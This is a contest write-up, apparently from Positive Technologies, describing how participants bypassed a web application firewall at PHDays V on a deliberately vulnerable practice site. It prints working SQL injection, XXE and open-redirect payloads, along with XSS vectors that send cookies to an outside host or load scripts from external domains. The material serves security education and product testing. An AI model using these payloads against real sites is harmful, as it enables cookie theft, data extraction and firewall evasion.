WAF Bypass at Positive Hack Days V
6/3/2015
As it did last year, the PHDays forum on information security hosted WAF Bypass this year as well. The contest's participants tried to bypass the protection of PT Application Firewall, Positive Technologies' product. For this contest, the organizers developed the site Choo Roads, which contained common vulnerabilities, such as Cross-Site Scripting, SQL Injection, XML External Entities Injection, Open Redirect. Upon exploiting one of the vulnerabilities, a participant obtained a flag in the MD5 format and gained points. MD5 flags could be found in the file system, database, and cookie parameters and detected by a special bot that was developed by using Selenium.
Though the contest WAF configuration allowed bypassing, uncommon solutions were also presented. This was actually the goal of the contest: participants had the opportunity to try themselves in bypassing protection mechanisms, while we can improve our product due to the results. Let's have a look at those vulnerabilities and bypass techniques.
Warmup
The vulnerability was in the script that tracked user activity on the site.
POST /online.php HTTP/1.1 Host: choo-choo.phdays.com Connection: keep-alive Content-Length: 24 Content-Type: application/json User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36
{"timestamp":1432906707}
Timestamp field values from the JSON data in the POST request were not validated before using them in the SQL request:
<br /> <b>Warning</b>: pg_query(): Query failed: ERROR: invalid input syntax for integer: "1432906707' " LINE 1: UPDATE activity SET timestamp = '1432906707'' ' WHERE id=1 ^ in <b>/var/www/php/online.php</b> on line <b>8</b><br /> {"ok":false}To bypass the check, you could substitute Content-Type with text/xml, and as a result the POST data were not processed as JSON (the check was disabled).
<br /> <b>Warning</b>: pg_query(): Query failed: ERROR: invalid input syntax for integer: "d2a5400fc306d25b6886612cd203a77e | 26.05 15:30 - Industry monopolist Choo Choo Roads wins a government contract for railroad construction" in <b>/var/www/php/online.php</b> on line <b>8</b><br /> {"ok":false}XSD validation
The site had a form for searching tickets by forming XML and sending the request to the back end.
POST /tickets.php HTTP/1.1 Host: choo-choo.phdays.com Connection: keep-alive Content-Length: 220 Content-Type: text/xml
<search id="RAILWAYS14329105659180.522099320078" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemalocation="tickets.xsd"> <from>Moscow</from> <to>Saint-Petersbourg</to> <date>30/05/2015</date> </search>XSD was used for the XML request.
<?xml version="1.0" encoding="UTF-8" ?><xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="search"> xs:complexType xs:sequence <xs:element name="from" type="xs:string"/> <xs:element name="to" type="xs:string"/> <xs:element name="date" type="xs:string"/> </xs:sequence> <xs:attribute name="id" use="required"> xs:simpleType <xs:restriction base="xs:string"> <xs:length value="35"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:complexType> </xs:element> </xs:schema>
According to the schema, the id attribute should contain 35 characters. The attribute value was added into the SQL request without validation. Bypassing required a vector that meets XSD requirements.
<search id="');select box(flag) from flag--____"> <search id="');select flag::int from flag -- ">Open Redirect
The vulnerability was in the "to" parameter of the script redirect.php. The flag was sent to fragment portions of URL where the redirection was executed, i.e. it wasn't sent to the server end. To get the flag, you should send the bot to another site with a page that could retrieve the value from location.hash and send it to the logger.
Bypassing options:
- http://choo-choo.phdays.com/redirect.php?to=phdays.com:asd@host.com
- http://choo-choo.phdays.com/redirect.php?to=http://ahack.ru%23.phdays.com/
- http://choo-choo.phdays.com/redirect.php?to=http%3a//www.samincube.com%3f..\www.phdays.com
XML External Entities Injection
The script that handled XML data was vulnerable to XXE. Bypassing required using of the external entity in the parameter entity:
<!DOCTYPE search [ <!ENTITY % asd "<!ENTITY % asd1 SYSTEM 'flag'>">%asd; %asd1; ]>
It was also possible to bypass it with UTF-16.
<?xml version="1.0" encoding="UTF-16"?>Cross-Site Scripting
The vulnerability was in the site's search page. To obtain the flag, you could send the bot's cookies to the site. Bypassing required using non-standard tag attributes that are processed by bootstrap-validator allowing executing the JS code:
http://choo-choo.phdays.com/index.php?search=<form+data-toggle="validator"><div+data-match="<img+src%3 Dhttp://test.com+onerror%3Dthis.src%2B%3Ddocument.cookie/>"></div></form>
Or:
- http://choo-choo.phdays.com/index.php?search=<%<script src='//ahack.ru/test.js'></script>
- http://choo-choo.phdays.com/index.php?search=<%00<script src='//artsploit.com/xss'></script>
Results
The winner of the contest is bushwhackers: Georgy Noseevich, Andrey Petukhov, and Alexander Razdobarov. The team solved all the tasks during the first day! (They won the last year's competition as well.) Mikhail Stepankin (ArtSploit) took second place, Eldar Zaitov (kyprizel) was the third. The winner received an iPad Air 2; a Sony Xperia Z3 went to the second place team; the third place team received a license for Burp Suite Professional.
During the contest, 271,390 requests were blocked (twice as many as during the last year's contest). This time, 302 contestants registered (compared to 101 last year). Only 18 participants managed to capture at least one flag.
Thanks to everyone who took part in the contest.